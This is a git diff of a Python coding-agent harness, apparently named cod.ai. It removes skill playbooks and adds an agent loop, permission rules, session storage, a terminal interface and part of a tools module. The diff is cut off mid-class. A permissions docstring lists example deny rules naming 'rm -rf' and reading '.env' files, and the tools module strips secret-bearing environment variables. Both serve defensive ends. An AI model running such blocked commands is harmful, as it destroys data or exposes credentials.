+0,0 @@ ---- -name: pi_specialist_bridge -domain: orchestration -polarity: BOTH -description: Native interoperability playbook for loading @heretek-ai/pi-configs specialist charters and hooks without breaking prefix caches. ---- -# Pi Specialist Bridge Playbook (`@heretek-ai/pi-configs` Integration) - -## 1. Cache-Safe Charter Injection -- Never mutate Layer 1 (the static system prompt) when switching to one of the 74 `@heretek-ai/pi-configs` specialists. -- Always inject the specialist's `AGENTS.md` charter and `.pi/skills/*/SKILL.md` rules at the tail of Layer 3 via a mid-conversation `role: "system"` block or `` tag. -- Honor all `.pi/hook/hooks.yaml` `tool.before.*` and `file.changed` rules deterministically, aborting unauthorized actions with exit code `2`. diff --git a/skills/system_architecture/SKILL.md b/skills/system_architecture/SKILL.md deleted file mode 100755 index 7e82965..0000000 --- a/skills/system_architecture/SKILL.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -name: system_architecture -domain: architecture -polarity: MODE_A_HOLISTIC_ARCHITECT -description: Battle-tested distributed systems, modular decomposition, and cache-preserving orchestration patterns. ---- -# System Architecture Playbook (`cod.ai` Mode A) - -## 1. Core Architectural Rules -- **Strict Separation of Concerns**: Decouple state storage (append-only DAG JSONL / SQLite WAL), prompt assembly (immutable Layer 1 & Layer 2 prefixes), tool execution, and containment proxies. -- **Explicit Trade-Off Analysis**: Every design must evaluate latency, token cost (cache write vs. read multipliers), blast radius, and failure recovery before selecting an implementation pattern. -- **Complete Interface Contracts**: Define strict typed schemas (Pydantic models / TypeScript interfaces) for all inter-module boundaries before writing business logic. -- **Zero-Truncation Mandate**: Every file or specification >100 lines must follow the 4-stage iterative drafting loop (Outline -> Section-by-Section Generation -> Review & Refine -> Final Output) with zero placeholder comments. diff --git a/skills/systems_security/SKILL.md b/skills/systems_security/SKILL.md deleted file mode 100755 index 327ecf0..0000000 --- a/skills/systems_security/SKILL.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -name: systems_security -domain: security -polarity: BOTH -description: Proxmox VE defense-in-depth containment, credential proxy isolation, and 2-stage auto-mode security classification. ---- -# Systems Security & Containment Playbook (`cod.ai` Mode A & Mode B) - -## 1. Defense-in-Depth Invariants -- **Zero Raw Credential Exposure**: Never pass raw API keys (`ANTHROPIC_API_KEY`, `GITHUB_TOKEN`, `API_SERVER_KEY`) into the agent's readable environment or filesystem. Inject authentication headers strictly at the `127.0.0.1` policy proxy boundary. -- **Shell Operator Decomposition**: Parse every composite shell command (`|`, `&&`, `;`, `$()`, backticks) and evaluate each subcommand independently against `allow` and `soft_deny` rules. -- **Least-Privilege Filesystem & Network**: Enforce `bwrap --unshare-all` (or rootless process isolation) and restrict outbound network traffic to allowlisted endpoints (`re-firewall`). diff --git a/src/__init__.py b/src/__init__.py index b3953c7..cba12ff 100755 --- a/src/__init__.py +++ b/src/__init__.py @@ -1,2 +1,2 @@ -"""cod.ai — Next-Generation Agentic Coding Harness & Orchestration Platform.""" -__version__ = "0.1.0" +"""cod.ai: a terminal and web coding agent built on the Claude Messages API.""" +__version__ = "0.2.0" diff --git a/src/agent/__init__.py b/src/agent/__init__.py new file mode 100644 index 0000000..a60afd9 --- /dev/null +++ b/src/agent/__init__.py @@ -0,0 +1 @@ +"""The cod.ai agent: a Claude tool-use loop over file, search and shell tools.""" diff --git a/src/agent/engine.py b/src/agent/engine.py new file mode 100644 index 0000000..1f60f26 --- /dev/null +++ b/src/agent/engine.py @@ -0,0 +1,302 @@ +""" +The agent loop (`src/agent/engine.py`). + +`Agent.send(prompt)` runs one user turn: it streams a request to the Messages +API, runs the tool calls in the response (asking the user first when the +permission policy says so), sends the results back, and repeats until Claude +ends its turn. Progress comes back as a stream of events for a front end to +render. + +The history is append-only. Assistant content is stored exactly as the API +returned it, every message is written to the session file once it is final, +and the system prompt and tool list never change within a session, so each +request reads the earlier conversation from the prompt cache. +""" +import asyncio +from dataclasses import dataclass, field +from typing import Any, AsyncIterator, Awaitable, Callable, Literal + +import anthropic + +from src.agent.models import DEFAULT_MODEL, MODELS, fallback_params, history_content +from src.agent.permissions import EDIT_TOOLS, PermissionPolicy, Rule +from src.agent.session import Session +from src.agent.tools import Toolbox, ToolResult, api_tool_definitions + +MAX_OUTPUT_TOKENS = 64_000 +MAX_TOOL_ROUNDS = 50 + +DENIED_MESSAGE = "The user denied this tool call. Don't retry it unchanged; ask them how to proceed if you need it." +BLOCKED_MESSAGE = "This tool call is blocked by the project's permission settings." +TRUNCATED_MESSAGE = ( + "Your response hit the output limit before this tool call was complete, so it was not run. " + "Retry with a smaller input, for example by writing the file in parts with edit_file." +) +INTERRUPTED_MESSAGE = "The user interrupted the turn before this tool call finished." + +Approval = Literal["yes", "no", "always"] +# Asked when the policy says "ask": (tool name, one-line summary, full input) -> answer. +Approver = Callable[[str, str, dict[str, Any]], Awaitable[Approval]] + + +# ---------- events ---------- + +@dataclass +class TextDelta: + text: str + + +@dataclass +class ThinkingDelta: + text: str + + +@dataclass +class BlockStart: + """A new text or thinking block starts; front ends use it to break lines.""" + kind: str + + +@dataclass +class ToolCall: + id: str + name: str + summary: str + input: dict[str, Any] + + +@dataclass +class ToolOutput: + id: str + name: str + content: str + is_error: bool + outcome: Literal["ran", "denied", "blocked", "truncated"] = "ran" + + +@dataclass +class FallbackNotice: + from_model: str | None + to_model: str | None + + +@dataclass +class TurnEnd: + """ + The turn is over. `stop_reason` is the API's on the last response, or + `tool_rounds` when the loop hit `MAX_TOOL_ROUNDS`. On a refusal the turn's + messages are rolled back and `refusal_category` says why, when known. + """ + stop_reason: str | None + usage: dict[str, int] + model: str + refusal_category: str | None = None + + +@dataclass +class ApiError: + status: int | None + message: str + + +Event = TextDelta | ThinkingDelta | BlockStart | ToolCall | ToolOutput | FallbackNotice | TurnEnd | ApiError + + +@dataclass +class _Final: + message: Any + + +@dataclass +class AgentConfig: + model: str = DEFAULT_MODEL + effort: str | None = None + thinking_display: Literal["summarized", "omitted"] = "summarized" + fallbacks: bool = True + max_tokens: int = MAX_OUTPUT_TOKENS + max_tool_rounds: int = MAX_TOOL_ROUNDS + + +@dataclass +class Usage: + totals: dict[str, int] = field(default_factory=dict) + + def add(self, usage: Any) -> None: + for key in ("input_tokens", "output_tokens", "cache_read_input_tokens", "cache_creation_input_tokens"): + value = getattr(usage, key, None) + if isinstance(value, int): + self.totals[key] = self.totals.get(key, 0) + value + + +def api_error_message(exc: anthropic.APIStatusError) -> str: + body = exc.body if isinstance(exc.body, dict) else {} + error = body.get("error") if isinstance(body.get("error"), dict) else {} + return error.get("message") or exc.message + + +class Agent: + def __init__( + self, + client: anthropic.AsyncAnthropic, + session: Session, + toolbox: Toolbox, + policy: PermissionPolicy, + approver: Approver, + config: AgentConfig | None = None, + ) -> None: + self.client = client + self.session = session + self.toolbox = toolbox + self.policy = policy + self.approver = approver + self.config = config or AgentConfig(model=session.model) + if self.config.model not in MODELS: + raise ValueError(f"unsupported model {self.config.model!r}") + self.tools = api_tool_definitions() + # Results of the tool round in progress, kept so an interrupt can record them. + self._pending_results: list[dict[str, Any]] | None = None + + def request_params(self) -> dict[str, Any]: + cfg = self.config + params: dict[str, Any] = { + "model": cfg.model, + "max_tokens": cfg.max_tokens, + "system": self.session.system_prompt, + "tools": self.tools, + "messages": list(self.session.messages), + "thinking": {"type": "adaptive", "display": cfg.thinking_display}, + "output_config": {"effort": cfg.effort or MODELS[cfg.model]["default_effort"]}, + # Automatic caching: the breakpoint moves to the newest block each request. + "cache_control": {"type": "ephemeral"}, + } + params.update(fallback_params(cfg.model, cfg.fallbacks)) + return params + + async def send(self, prompt: str) -> AsyncIterator[Event]: + """Runs one user turn and yields its events, ending with `TurnEnd` or `ApiError`.""" + turn_start = len(self.session.messages) + self.session.append({"role": "user", "content": prompt}) + usage = Usage() + model = self.config.model + rounds = 0 + try: + while True: + final = None + async for event in self._stream(usage): + if isinstance(event, ApiError): + yield event + return + if isinstance(event, _Final): + final = event.message + else: + yield event + if final is None: + yield ApiError(None, "The response ended without a message.") + return + model = final.model + + if final.stop_reason == "refusal": + # The partial answer and the prompt that caused it are dropped, + # so the user can rephrase without the refusal in the history. + self.session.rollback(len(self.session.messages) - turn_start) + details = final.stop_details + category = getattr(details, "category", None) if details else None + yield TurnEnd("refusal", usage.totals, model, refusal_category=category) + return + + content = history_content([block.to_dict() for block in final.content]) + self.session.append({"role": "assistant", "content": content}) + + if final.stop_reason == "pause_turn": + # The server paused a long turn; sending the history back resumes it. + continue + + tool_uses = [b for b in content if b.get("type") == "tool_use"] + if not tool_uses: + yield TurnEnd(final.stop_reason, usage.totals, model) + return + + results = self._pending_results = [] + truncated = final.stop_reason == "max_tokens" + for block in tool_uses: + tool_input = block.get("input") if isinstance(block.get("input"), dict) else {} + yield ToolCall(block["id"], block["name"], self.toolbox.describe(block["name"], tool_input), tool_input) + output = await self._run_tool(block, truncated) + yield output + results.append({ + "type": "tool_result", + "tool_use_id": block["id"], + "content": output.content, + "is_error": output.is_error, + }) + self._pending_results = None + self.session.append({"role": "user", "content": results}) + + rounds += 1 + if rounds >= self.config.max_tool_rounds: + yield TurnEnd("tool_rounds", usage.totals, model) + return + except asyncio.CancelledError: + self._close_open_tool_calls() + raise + + async def _stream(self, usage: Usage) -> AsyncIterator[Any]: + """Streams one request: yields deltas, then the final message or an `ApiError`.""" + try: + async with self.client.beta.messages.stream(**self.request_params()) as stream: + async for event in stream: + if event.type == "content_block_start": + kind = event.content_block.type + if kind in ("text", "thinking"): + yield BlockStart(kind) + elif kind == "fallback": + block = event.content_block.to_dict() + yield FallbackNotice((block.get("from") or {}).get("model"), (block.get("to") or {}).get("model")) + elif event.type == "content_block_delta": + if event.delta.type == "text_delta": + yield TextDelta(event.delta.text) + elif event.delta.type == "thinking_delta": + yield ThinkingDelta(event.delta.thinking) + final = await stream.get_final_message() + except anthropic.APIStatusError as exc: + yield ApiError(exc.status_code, api_error_message(exc)) + return + except anthropic.APIConnectionError: + yield ApiError(None, "Could not reach the Claude API. Check the network or ANTHROPIC_BASE_URL.") + return + usage.add(final.usage) + yield _Final(final) + + async def _run_tool(self, block: dict[str, Any], truncated: bool) -> ToolOutput: + name = block["name"] + tool_input = block.get("input") if isinstance(block.get("input"), dict) else {} + if truncated: + return ToolOutput(block["id"], name, TRUNCATED_MESSAGE, True, "truncated") + summary = self.toolbox.describe(name, tool_input) + decision = self.policy.decide(name, summary) + if decision == "deny": + return ToolOutput(block["id"], name, BLOCKED_MESSAGE, True, "blocked") + if decision == "ask": + answer = await self.approver(name, summary, tool_input) + if answer == "no": + return ToolOutput(block["id"], name, DENIED_MESSAGE, True, "denied") + if answer == "always": + # Edits are allowed tool-wide; shell commands only for this exact command. + self.policy.allow_for_session(Rule(name) if name in EDIT_TOOLS else Rule(name, summary)) + result: ToolResult = await asyncio.to_thread(self.toolbox.run, name, tool_input) + return ToolOutput(block["id"], name, result.content, result.is_error) + + def _close_open_tool_calls(self) -> None: + """After an interrupt, answers any tool calls left without results so the history stays valid.""" + if not self.session.messages or self.session.messages[-1]["role"] != "assistant": + return + content = self.session.messages[-1]["content"] + finished = list(self._pending_results or []) + self._pending_results = None + done = {r["tool_use_id"] for r in finished} + pending = [b["id"] for b in content if isinstance(b, dict) and b.get("type") == "tool_use" and b["id"] not in done] + if finished or pending: + self.session.append({"role": "user", "content": finished + [ + {"type": "tool_result", "tool_use_id": tool_id, "content": INTERRUPTED_MESSAGE, "is_error": True} + for tool_id in pending + ]}) diff --git a/src/agent/models.py b/src/agent/models.py new file mode 100644 index 0000000..1418781 --- /dev/null +++ b/src/agent/models.py @@ -0,0 +1,34 @@ +""" +Model settings shared by the agent and the web server (`src/agent/models.py`). +""" +from typing import Any + +# `fallbacks` marks models that accept the server-side `fallbacks: "default"` +# refusal fallback (Claude Haiku 5.5 has none). +MODELS: dict[str, dict[str, Any]] = { + "claude-opus-5-5": {"label": "Claude Opus 5.5", "default_effort": "medium", "fallbacks": True}, + "claude-fable-5-1": {"label": "Claude Fable 5.1", "default_effort": "high", "fallbacks": True}, + "claude-sonnet-5-5": {"label": "Claude Sonnet 5.5", "default_effort": "high", "fallbacks": True}, + "claude-haiku-5-5": {"label": "Claude Haiku 5.5", "default_effort": "medium", "fallbacks": False}, +} +DEFAULT_MODEL = "claude-opus-5-5" +EFFORT_LEVELS = ("low", "medium", "high", "xhigh", "max") +FALLBACK_BETA = "server-side-fallback-2026-07-01" + + +def fallback_params(model: str, enabled: bool) -> dict[str, Any]: + """Request fields that turn on the server-side refusal fallback where the model supports it.""" + if enabled and MODELS[model]["fallbacks"]: + return {"betas": [FALLBACK_BETA], "fallbacks": "default"} + return {} + + +def history_content(content: list[dict[str, Any]]) -> list[dict[str, Any]]: + """ + Returns the assistant content to echo back on the next turn. After a + mid-output fallback, only text survives from the blocks before the last + `fallback` marker; the marker and everything after it are kept unchanged + so thinking blocks stay valid. + """ + last_fallback = max((i for i, b in enumerate(content) if b.get("type") == "fallback"), default=-1) + return [b for i, b in enumerate(content) if i >= last_fallback or b.get("type") == "text"] diff --git a/src/agent/permissions.py b/src/agent/permissions.py new file mode 100644 index 0000000..bd25253 --- /dev/null +++ b/src/agent/permissions.py @@ -0,0 +1,97 @@ +""" +Permission rules for tool calls (`src/agent/permissions.py`). + +A rule is `tool` or `tool(pattern)`, where the pattern is a shell-style glob +matched against the call's summary: the command for `bash`, the path for the +file tools, the pattern for `glob` and `grep`. Rules come in three lists: +`deny` always wins, then `allow`, then `ask`; anything unmatched falls back to +the mode's default (reads are allowed, edits and shell commands ask). + +Rules are read from `.cod/settings.json` in the project: + + {"permissions": {"allow": ["bash(git status*)", "bash(pytest*)"], + "deny": ["bash(rm -rf*)", "read_file(.env*)"]}} +""" +from dataclasses import dataclass, field +import fnmatch +import json +from pathlib import Path +import re +from typing import Literal + +from src.agent.tools import READ_ONLY_TOOLS, TOOL_NAMES + +Decision = Literal["allow", "ask", "deny"] +Mode = Literal["default", "accept-edits", "allow-all"] + +EDIT_TOOLS = frozenset({"write_file", "edit_file"}) +RULE_PATTERN = re.compile(r"^(?P[a-z_]+)(?:\((?P.*)\))?$") + + +class InvalidRuleError(ValueError): + pass + + +@dataclass(frozen=True) +class Rule: + tool: str + pattern: str | None = None + + @classmethod + def parse(cls, text: str) -> "Rule": + match = RULE_PATTERN.match(text.strip()) + if not match or match["tool"] not in TOOL_NAMES: + raise InvalidRuleError(f"invalid permission rule {text!r}; expected one of {', '.join(TOOL_NAMES)}, optionally with (pattern)") + return cls(match["tool"], match["pattern"]) + + def matches(self, tool: str, summary: str) -> bool: + if tool != self.tool: + return False + return self.pattern is None or fnmatch.fnmatchcase(summary, self.pattern) + + def __str__(self) -> str: + return self.tool if self.pattern is None else f"{self.tool}({self.pattern})" + + +@dataclass +class PermissionPolicy: + mode: Mode = "default" + allow: list[Rule] = field(default_factory=list) + ask: list[Rule] = field(default_factory=list) + deny: list[Rule] = field(default_factory=list) + + @classmethod + def from_settings(cls, root: str | Path, mode: Mode = "default") -> "PermissionPolicy": + path = Path(root) / ".cod" / "settings.json" + policy = cls(mode=mode) + if not path.is_file(): + return policy + try: + data = json.loads(path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + raise InvalidRuleError(f"{path} is not valid JSON: {exc}") from exc + perms = data.get("permissions", {}) if isinstance(data, dict) else {} + for kind in ("allow", "ask", "deny"): + entries = perms.get(kind, []) + if not isinstance(entries, list) or not all(isinstance(e, str) for e in entries): + raise InvalidRuleError(f"permissions.{kind} in {path} must be a list of strings") + getattr(policy, kind).extend(Rule.parse(e) for e in entries) + return policy + + def decide(self, tool: str, summary: str) -> Decision: + if any(r.matches(tool, summary) for r in self.deny): + return "deny" + if any(r.matches(tool, summary) for r in self.allow): + return "allow" + if any(r.matches(tool, summary) for r in self.ask): + return "allow" if self.mode == "allow-all" else "ask" + if tool in READ_ONLY_TOOLS or self.mode == "allow-all": + return "allow" + if tool in EDIT_TOOLS and self.mode == "accept-edits": + return "allow" + return "ask" + + def allow_for_session(self, rule: Rule) -> None: + """Adds an allow rule for the rest of this run (not written to settings).""" + if rule not in self.allow: + self.allow.append(rule) diff --git a/src/agent/prompt.py b/src/agent/prompt.py new file mode 100644 index 0000000..8130f9a --- /dev/null +++ b/src/agent/prompt.py @@ -0,0 +1,48 @@ +""" +System prompt for the agent (`src/agent/prompt.py`). + +The prompt is built once when a session starts and stored in the session +header, so it is byte-identical on every request of that session, including +after a resume. Project files are read from the project root at that moment. +""" +from datetime import date +from pathlib import Path +import platform + +PROJECT_FILES = ("CLAUDE.md", "AGENTS.md") + +AGENT_PROMPT = """You are cod.ai, a coding agent working in the user's project through a terminal. + +You can read, search and edit files in the project and run shell commands. Paths are relative to the project root. Read a file before you edit it, keep changes to what the task needs, and match the style of the surrounding code. Run the project's tests or build after a change when they exist, and report what they printed. + +Some tool calls need the user's approval. If a call is denied, don't retry it unchanged: ask what the user would like instead, or find another way. + +Shell commands run without secrets in their environment and without a terminal, so they can't prompt for input. Prefer non-interactive flags. + +Answer in GitHub-flavored Markdown. When you finish, say briefly what you changed and anything left undone.""" + + +def project_files_block(root: str | Path, names: tuple[str, ...] = PROJECT_FILES) -> list[str]: + """Each project instruction file in `root`, wrapped in a `project_file` tag.""" + blocks = [] + for name in names: + path = Path(root) / name + if path.is_file(): + text = path.read_text(encoding="utf-8").strip() + blocks.append(f'\n{text}\n') + return blocks + + +def build_agent_prompt(root: str | Path, include_project_files: bool = True, today: date | None = None) -> str: + root = Path(root).resolve() + environment = ( + "\n" + f"Project root: {root}\n" + f"Platform: {platform.system()} {platform.release()}\n" + f"Session started: {(today or date.today()).isoformat()}\n" + "" + ) + parts = [AGENT_PROMPT, environment] + if include_project_files: + parts.extend(project_files_block(root)) + return "\n\n".join(parts) diff --git a/src/agent/session.py b/src/agent/session.py new file mode 100644 index 0000000..be9a4a1 --- /dev/null +++ b/src/agent/session.py @@ -0,0 +1,95 @@ +""" +Append-only session files (`src/agent/session.py`). + +A session is a JSONL file under `/.cod/sessions/`. The first line is a +header with the model and the frozen system prompt; every later line is one +message, written as soon as it is final. A `rollback` line drops the last few +messages (used when a turn is refused), so the file itself is never rewritten. +Resuming replays the messages exactly as they were sent, so the prompt cache +and thinking blocks stay valid. +""" +from dataclasses import dataclass, field +from datetime import datetime, timezone +import json +from pathlib import Path +import secrets +from typing import Any + +SESSIONS_DIR = Path(".cod") / "sessions" + + +class SessionError(RuntimeError): + pass + + +@dataclass +class Session: + path: Path + id: str + model: str + system_prompt: str + created_at: str + messages: list[dict[str, Any]] = field(default_factory=list) + + @classmethod + def create(cls, root: str | Path, model: str, system_prompt: str) -> "Session": + directory = Path(root) / SESSIONS_DIR + directory.mkdir(parents=True, exist_ok=True) + created = datetime.now(timezone.utc) + session_id = created.strftime("%Y%m%d-%H%M%S-") + secrets.token_hex(3) + session = cls(directory / f"{session_id}.jsonl", session_id, model, system_prompt, created.isoformat()) + header = {"type": "session", "id": session_id, "model": model, "system_prompt": system_prompt, "created_at": session.created_at} + session.path.write_text(json.dumps(header, ensure_ascii=False) + "\n", encoding="utf-8") + return session + + @classmethod + def load(cls, path: str | Path) -> "Session": + path = Path(path) + try: + lines = path.read_text(encoding="utf-8").splitlines() + except FileNotFoundError as exc: + raise SessionError(f"no session file at {path}") from exc + records = [] + for number, line in enumerate(lines, 1): + if not line.strip(): + continue + try: + records.append(json.loads(line)) + except json.JSONDecodeError as exc: + raise SessionError(f"{path}:{number} is not valid JSON") from exc + if not records or records[0].get("type") != "session": + raise SessionError(f"{path} has no session header") + header = records[0] + messages: list[dict[str, Any]] = [] + for record in records[1:]: + if record.get("type") == "message": + messages.append(record["message"]) + elif record.get("type") == "rollback": + del messages[len(messages) - int(record["count"]):] + return cls(path, header["id"], header["model"], header["system_prompt"], header["created_at"], messages) + + @classmethod + def find(cls, root: str | Path, session_id: str | None = None) -> "Session": + """Loads a session by id, or the most recent one when no id is given.""" + directory = Path(root) / SESSIONS_DIR + if session_id: + return cls.load(directory / f"{session_id}.jsonl") + candidates = sorted(directory.glob("*.jsonl")) if directory.is_dir() else [] + if not candidates: + raise SessionError(f"no sessions in {directory}") + return cls.load(candidates[-1]) + + def append(self, message: dict[str, Any]) -> None: + self.messages.append(message) + with self.path.open("a", encoding="utf-8") as handle: + handle.write(json.dumps({"type": "message", "message": message}, ensure_ascii=False) + "\n") + + def rollback(self, count: int) -> None: + """Drops the last `count` messages.""" + if count <= 0: + return + if count > len(self.messages): + raise SessionError(f"cannot roll back {count} messages; the session has {len(self.messages)}") + del self.messages[len(self.messages) - count:] + with self.path.open("a", encoding="utf-8") as handle: + handle.write(json.dumps({"type": "rollback", "count": count}) + "\n") diff --git a/src/agent/terminal.py b/src/agent/terminal.py new file mode 100644 index 0000000..4865afa --- /dev/null +++ b/src/agent/terminal.py @@ -0,0 +1,265 @@ +""" +Terminal front end for the agent (`src/agent/terminal.py`). + +`run_print` answers one prompt and exits (`cod -p`); `run_repl` is the +interactive loop (`cod`). Both render the same agent events. In print mode the +answer goes to stdout and everything else (thinking, tool calls) to stderr, +so the output can be piped. +""" +import asyncio +from dataclasses import dataclass +import sys +from typing import Any, Callable, TextIO + +from src.agent.engine import ( + Agent, + ApiError, + Approval, + BlockStart, + Event, + FallbackNotice, + TextDelta, + ThinkingDelta, + ToolCall, + ToolOutput, + TurnEnd, +) + +TOOL_PREVIEW_LINES = 8 + +HELP = """Commands: + /help show this help + /session show the session id and file + /usage show token usage for this session + /exit quit (Ctrl-D also works) +Ctrl-C stops the current turn.""" + + +@dataclass +class Style: + enabled: bool + + def wrap(self, code: str, text: str) -> str: + return f"\033[{code}m{text}\033[0m" if self.enabled else text + + def dim(self, text: str) -> str: + return self.wrap("2", text) + + def bold(self, text: str) -> str: + return self.wrap("1", text) + + def red(self, text: str) -> str: + return self.wrap("31", text) + + +class Renderer: + """Writes agent events to the terminal. `out` gets the answer text, `info` everything else.""" + + def __init__(self, out: TextIO, info: TextIO, style: Style, show_thinking: bool = True) -> None: + self.out = out + self.info = info + self.style = style + self.show_thinking = show_thinking + self._at_line_start = {id(out): True, id(info): True} + self._block: str | None = None + self.answer_parts: list[str] = [] + + def write(self, stream: TextIO, text: str) -> None: + if not text: + return + stream.write(text) + stream.flush() + self._at_line_start[id(stream)] = text.endswith("\n") + + def line(self, stream: TextIO, text: str) -> None: + if not self._at_line_start.get(id(stream), True): + self.write(stream, "\n") + self.write(stream, text + "\n") + + def finish_block(self) -> None: + for stream in (self.out, self.info): + if not self._at_line_start.get(id(stream), True): + self.write(stream, "\n") + self._block = None + + def render(self, event: Event) -> None: + if isinstance(event, BlockStart): + self.finish_block() + self._block = event.kind + if event.kind == "thinking" and self.show_thinking: + self.line(self.info, self.style.dim("thinking…")) + elif isinstance(event, ThinkingDelta): + if self.show_thinking: + self.write(self.info, self.style.dim(event.text)) + elif isinstance(event, TextDelta): + self.answer_parts.append(event.text) + self.write(self.out, event.text) + elif isinstance(event, FallbackNotice): + self.finish_block() + self.line(self.info, self.style.dim(f"(continuing on {event.to_model or 'a fallback model'})")) + elif isinstance(event, ToolCall): + self.finish_block() + self.line(self.info, self.style.bold(f"● {event.name}") + f" {one_line(event.summary)}") + elif isinstance(event, ToolOutput): + self.render_tool_output(event) + elif isinstance(event, TurnEnd): + self.finish_block() + note = turn_end_note(event) + if note: + self.line(self.info, self.style.red(note) if event.stop_reason == "refusal" else self.style.dim(note)) + elif isinstance(event, ApiError): + self.finish_block() + status = f" ({event.status})" if event.status else "" + self.line(self.info, self.style.red(f"API error{status}: {event.message}")) + + def render_tool_output(self, event: ToolOutput) -> None: + lines = event.content.splitlines() or [""] + shown = lines[:TOOL_PREVIEW_LINES] + if len(lines) > TOOL_PREVIEW_LINES: + shown.append(f"… {len(lines) - TOOL_PREVIEW_LINES} more lines") + text = "\n".join(" ⎿ " + line if i == 0 else " " + line for i, line in enumerate(shown)) + self.line(self.info, self.style.red(text) if event.is_error else self.style.dim(text)) + + +def one_line(text: str, limit: int = 120) -> str: + flat = " ".join(text.split()) + return flat if len(flat) <= limit else flat[: limit - 1] + "…" + + +def turn_end_note(event: TurnEnd) -> str | None: + if event.stop_reason == "refusal": + category = f" ({event.refusal_category})" if event.refusal_category else "" + return f"Claude declined this request{category}. It was left out of the conversation; try rephrasing." + if event.stop_reason == "max_tokens": + return "The response hit the output limit and was cut off. Ask Claude to continue." + if event.stop_reason == "tool_rounds": + return "Stopped after the maximum number of tool rounds in one turn. Send a message to continue." + return None + + +def format_usage(usage: dict[str, int]) -> str: + keys = ( + ("input_tokens", "in"), + ("cache_read_input_tokens", "cache read"), + ("cache_creation_input_tokens", "cache write"), + ("output_tokens", "out"), + ) + return " · ".join(f"{label} {usage.get(key, 0):,}" for key, label in keys) + + +def make_terminal_approver( + read_line: Callable[[str], str], + info: TextIO, + style: Style, +) -> Callable[[str, str, dict[str, Any]], Any]: + """Asks on the terminal. EOF or Ctrl-C at the prompt counts as a no.""" + + async def approve(name: str, summary: str, tool_input: dict[str, Any]) -> Approval: + info.write(style.bold(f" Allow {name}?") + (f" {summary}\n" if name == "bash" and "\n" in summary else "\n")) + if name == "write_file": + preview = str(tool_input.get("content", "")).splitlines() + info.write(style.dim(f" ({len(preview)} lines)\n")) + elif name == "edit_file": + info.write(style.dim(f" - {one_line(str(tool_input.get('old_string', '')), 200)}\n")) + info.write(style.dim(f" + {one_line(str(tool_input.get('new_string', '')), 200)}\n")) + info.flush() + while True: + try: + answer = read_line(" [y]es / [n]o / [a]lways for this session: ").strip().lower() + except (EOFError, KeyboardInterrupt): + info.write("\n") + return "no" + if answer in ("y", "yes"): + return "yes" + if answer in ("n", "no", ""): + return "no" + if answer in ("a", "always"): + return "always" + + return approve + + +def make_deny_approver(info: TextIO, style: Style) -> Callable[[str, str, dict[str, Any]], Any]: + """Used when there is no terminal to ask on: anything that needs approval is denied.""" + + async def deny(name: str, summary: str, tool_input: dict[str, Any]) -> Approval: + info.write(style.dim( + f" {name} needs approval and there is no terminal to ask on, so it was denied. " + "Use --accept-edits, --allow-all or an allow rule in .cod/settings.json.\n" + )) + info.flush() + return "no" + + return deny + + +async def run_turn(agent: Agent, prompt: str, renderer: Renderer) -> TurnEnd | ApiError | None: + last = None + try: + async for event in agent.send(prompt): + renderer.render(event) + if isinstance(event, (TurnEnd, ApiError)): + last = event + except Exception as exc: + # Failures before a request is sent, most often missing credentials. + last = ApiError(None, f"{type(exc).__name__}: {exc}") + renderer.render(last) + return last + + +def run_print(agent: Agent, prompt: str, renderer: Renderer) -> int: + """One prompt, then exit. Returns the process exit code.""" + try: + last = asyncio.run(run_turn(agent, prompt, renderer)) + except KeyboardInterrupt: + renderer.finish_block() + return 130 + if isinstance(last, ApiError) or last is None: + return 1 + return 2 if last.stop_reason == "refusal" else 0 + + +def run_repl(agent: Agent, renderer: Renderer, read_line: Callable[[str], str] = input) -> int: + style = renderer.style + session = agent.session + renderer.line(renderer.info, style.dim(f"cod.ai · {agent.config.model} · session {session.id} · /help for commands")) + totals: dict[str, int] = {} + with asyncio.Runner() as runner: + while True: + try: + prompt = read_line(style.bold("> ")).strip() + except EOFError: + renderer.write(renderer.info, "\n") + return 0 + except KeyboardInterrupt: + renderer.write(renderer.info, "\n") + continue + if not prompt: + continue + if prompt in ("/exit", "/quit"): + return 0 + if prompt == "/help": + renderer.line(renderer.info, HELP) + continue + if prompt == "/session": + renderer.line(renderer.info, f"{session.id} {session.path}") + continue + if prompt == "/usage": + renderer.line(renderer.info, format_usage(totals)) + continue + try: + last = runner.run(run_turn(agent, prompt, renderer)) + except KeyboardInterrupt: + renderer.finish_block() + renderer.line(renderer.info, style.dim("(interrupted)")) + continue + if isinstance(last, TurnEnd): + for key, value in last.usage.items(): + totals[key] = totals.get(key, 0) + value + + +def is_interactive(stream: TextIO = sys.stdin) -> bool: + try: + return stream.isatty() + except (AttributeError, ValueError): + return False diff --git a/src/agent/tools.py b/src/agent/tools.py new file mode 100644 index 0000000..e2bfb39 --- /dev/null +++ b/src/agent/tools.py @@ -0,0 +1,332 @@ +""" +Client-side tools the agent can call (`src/agent/tools.py`). + +Every path is resolved against the project root and rejected if it escapes it +(`..`, absolute paths elsewhere, symlinks out). Tool inputs come from the model, +so each one is validated against a pydantic model before anything runs, and +failures come back as `is_error` tool results rather than exceptions. +""" +from dataclasses import dataclass +import fnmatch +import os +from pathlib import Path +import re +import subprocess +from typing import Any, Callable + +from pydantic import BaseModel, Field, ValidationError + +MAX_READ_LINES = 2000 +MAX_OUTPUT_CHARS = 30_000 +MAX_GLOB_RESULTS = 500 +MAX_GREP_MATCHES = 300 +DEFAULT_BASH_TIMEOUT = 120 +MAX_BASH_TIMEOUT = 600 + +SKIP_DIRS = {".git", "node_modules", "__pycache__", ".venv", "venv", ".cod", ".mypy_cache", ".pytest_cache"} + +# Environment variables matching this pattern are removed before running shell +# commands, so the model can't read API keys or tokens through `env` or `echo`. +SECRET_ENV_PATTERN = re.compile(r"(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|AUTH)", re.IGNORECASE) +# Kept despite matching: a socket path, not key material, and git over ssh needs it. +ENV_KEEP = frozenset({"SSH_AUTH_SOCK"}) + + +class ToolError(Exception): + """A failure reported back to the model as an `is_error` tool result.""" + + +@dataclass +class ToolResult: + content: str + is_error: bool = False + + +class ReadFileInput(BaseModel, extra="forbid"): + path: str + offset: int = Field(default=1, ge=1) + limit: int = Field(default=MAX_READ_LINES, ge=1, le=MAX_READ_LINES) + + +class WriteFileInput(BaseModel, extra="forbid"): + path: str + content: str + + +class EditFileInput(BaseModel, extra="forbid"): + path: str + old_string: str = Field(min_length=1) + new_string: str + replace_all: bool = False + + +class GlobInput(BaseModel, extra="forbid"): + pattern: str = Field(min_length=1) + + +class 